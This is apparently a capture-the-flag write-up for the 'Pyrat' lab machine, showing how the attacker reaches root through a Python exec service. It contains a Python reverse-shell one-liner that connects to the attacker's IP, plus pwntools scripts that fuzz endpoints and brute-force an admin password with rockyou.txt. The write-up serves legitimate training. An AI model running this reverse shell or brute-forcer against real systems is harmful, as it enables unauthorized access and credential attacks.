Pyrat

Test your enumeration skills on this boot-to-root machine. - by josemlwdf


Recon

We start with an Nmap scan and find two open ports. Port 22 is where we have SSH available and on port 8000 we might have a web server. On closer inspection, this is a simple HTTP server. This reminds of the module SimpleHTTPServer in Python.

When we request the index page, we are only told to use a much simpler connection.

Shell as www-data

We try the simplest thing we can think of - a simple connection using netcat. We get a connection, but no feedback. Maybe we are not actually facing a web server. We assume that we are probably in a Python environment. Maybe something like a Python shell, but there is nothing to suggest this. Simple calls like 1+1 don't work, and we don't seem to be in a shell. However, we get feedback for our whoami command that this is not defined. We would have gotten feedback if we used something like print(1+1).

nc pyrat.thm 8000

Let's try it blind with a Python reverse shell. First we set up a listener with nc -lnvp 4445. For the reverse shell, we use number 2 from revshells.com and copy the inner part.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.211.1",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

Next, we enter the payload and...

... we receive a connection back. We are www-data. With the following commands we upgrade our shell. Unfortunately we cannot find the first flag as www-data.

SHELL=/bin/bash script -q /dev/null
CTRL+Z
stty raw -echo && fg

Interesting, though, we seem not to have access to the current directory. And furthermore, we see that the /root/.bashrc is loaded. We are in the root directory, and somehow we became www-data. There might be an interesting escape to get directly to root.

Shell as think

In the /opt directory, we notice the /dev folder. This in turn has a .git folder. We have a repository here. We check the config and find a password for the username think.

The password has been reused, we can now switch to the user or access the machine as think via SSH.

Shell as root

We look at the current git status and see that a file has been deleted. The image below shows how this is done in the SSH session, saving you unnecessary steps. In the following, the repository is first downloaded to the attacker's machine and then viewed.

We set up a Python web server.

Download the entire repository.

And start to analyze it. As mentioned before, a file has been deleted. The pyrat.py.old.

git status

With git restore we restore the file.

git restore pyrat.py.old

We see in the script that the switch_case function processes incoming data and performs actions based on specific conditions. If the data is 'some_endpoint', it calls the get_this_endpoint function to handle that request. If the data is 'shell', it attempts to spawn an interactive shell on the server, connecting the client's socket to the shell, enabling remote command execution. For any other data input, it runs the exec_python function, which executes the Python code sent through the socket. It spawns us a shell.

We go back to our necat connection on port 8000 and try shell. And we get a shell. It seems to be the program.

When we try 'some_endpoint' we get the message that it is not defined. Interesting, this is where we need to fuzz for endpoints with a custom script as mentioned in the room description.

The following shows how to fuzz for the end point. But that could also be guessed, which happened in the first attempt solving the machine. (Looking at the comments)

We chose a rather small wordlist for this since we want to work our way up and use pwntools which slows it a bit down, due to the fact that each attempt gets printed.

https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d

endpoints.py
from pwn import *

# Set the host and port
host = "pyrat.thm"
port = 8000

directory_file = "endpoints.txt"

# Connect to the target
def connect_to_service():
    return remote(host, port)

# Function to attempt login with a endpoint
def attempt_endpoint(endpoint):
    # Connect to the service
    conn = connect_to_service()
    # Send the endpoint from the list
    conn.sendline(endpoint.encode())

    response = conn.recvline(timeout=2)
    # Convert the endpoint to bytes before concatenating
    if b"name '" + endpoint.encode() + b"' is not defined\n" in response:
        conn.close()
        return False
    else: 
        print(f"Endpoint '{endpoint}' might be correct!")
        conn.close()
        return True


# Main function to loop through endpoint list
def fuzz_endpoints():
    with open(directory_file, "r", encoding="latin-1") as f:
        for endpoint in f:
            endpoint = endpoint.strip()
            # Skip lines starting with '#'
            if endpoint.startswith("#") or not endpoint:
            	continue
            if attempt_endpoint(endpoint):
                print(f"Found working endpoint: {endpoint}")
                break

if __name__ == "__main__":
    fuzz_endpoints()

We have a direct hit with 0, but this is only a false-positive.

The same applies to special characters or words with special characters.

We remove the numbers, special characters manually and the words with special chars - and _ from the list using awk.

awk '!/-|_/' endpoints.txt > filtered_endpoints.txt

After that, we run the script again...

... and find the endpoint admin after a short duration.

We try the admin endpoint and see that a password is now required. If we enter the wrong password, we receive another prompt for the password Password: again. This applies three times, then it does not ask for a password again.

We adapt our previous script to fuzz now for passwords using the rockyou.txt wordlist. We establish a new connection for the password entry every time because it stops after 3 attempts. This was actually the original script that got adapted to fuzz for the endpoints.

fuzz.py
from pwn import *

# Set the host and port
host = "pyrat.thm"
port = 8000

# File path for rockyou.txt password list
password_file = "/usr/share/wordlists/rockyou.txt"

# Connect to the target
def connect_to_service():
    return remote(host, port)

# Function to attempt login with a password
def attempt_password(password):
    # Connect to the service
    conn = connect_to_service()
    
    # Send 'admin' as the username
    conn.sendline(b"admin")
    
    # Wait for the password prompt
    conn.recvuntil(b"Password:")
    
    # Send the password from the list
    conn.sendline(password.encode())

    # Receive the response and check if we're prompted for a password again
    response = conn.recvline(timeout=2)
    response = conn.recvline(timeout=2)
    # Check if we're asked for the password again (indicates incorrect password)
    if b"Password:" in response:
        print(f"Password '{password}' failed.")
        conn.close()
        return False
    elif b"Welcome" in response or b"Success" in response:  # Adjust this based on the actual success message
        print(f"Password '{password}' might be correct!")
        conn.close()
        return True
    else:
        # Some other response that might indicate progress (adjust based on your observations)
        print(f"Unexpected response for password '{password}'. Response: {response}")
        conn.close()
        return False

# Main function to loop through password list
def fuzz_passwords():
    with open(password_file, "r", encoding="latin-1") as f:
        for password in f:
            password = password.strip()
            if attempt_password(password):
                print(f"Found working password: {password}")
                break

if __name__ == "__main__":
    fuzz_passwords()

We run the script and receive a password that seems valid, since the prompt for a password was not repeated.

We try this in our netcat connection, and are greeted with a welcome message to try out the shell. After entering 'shell', we receive a root shell and are able to read the flag at /root/root.txt.

Last updated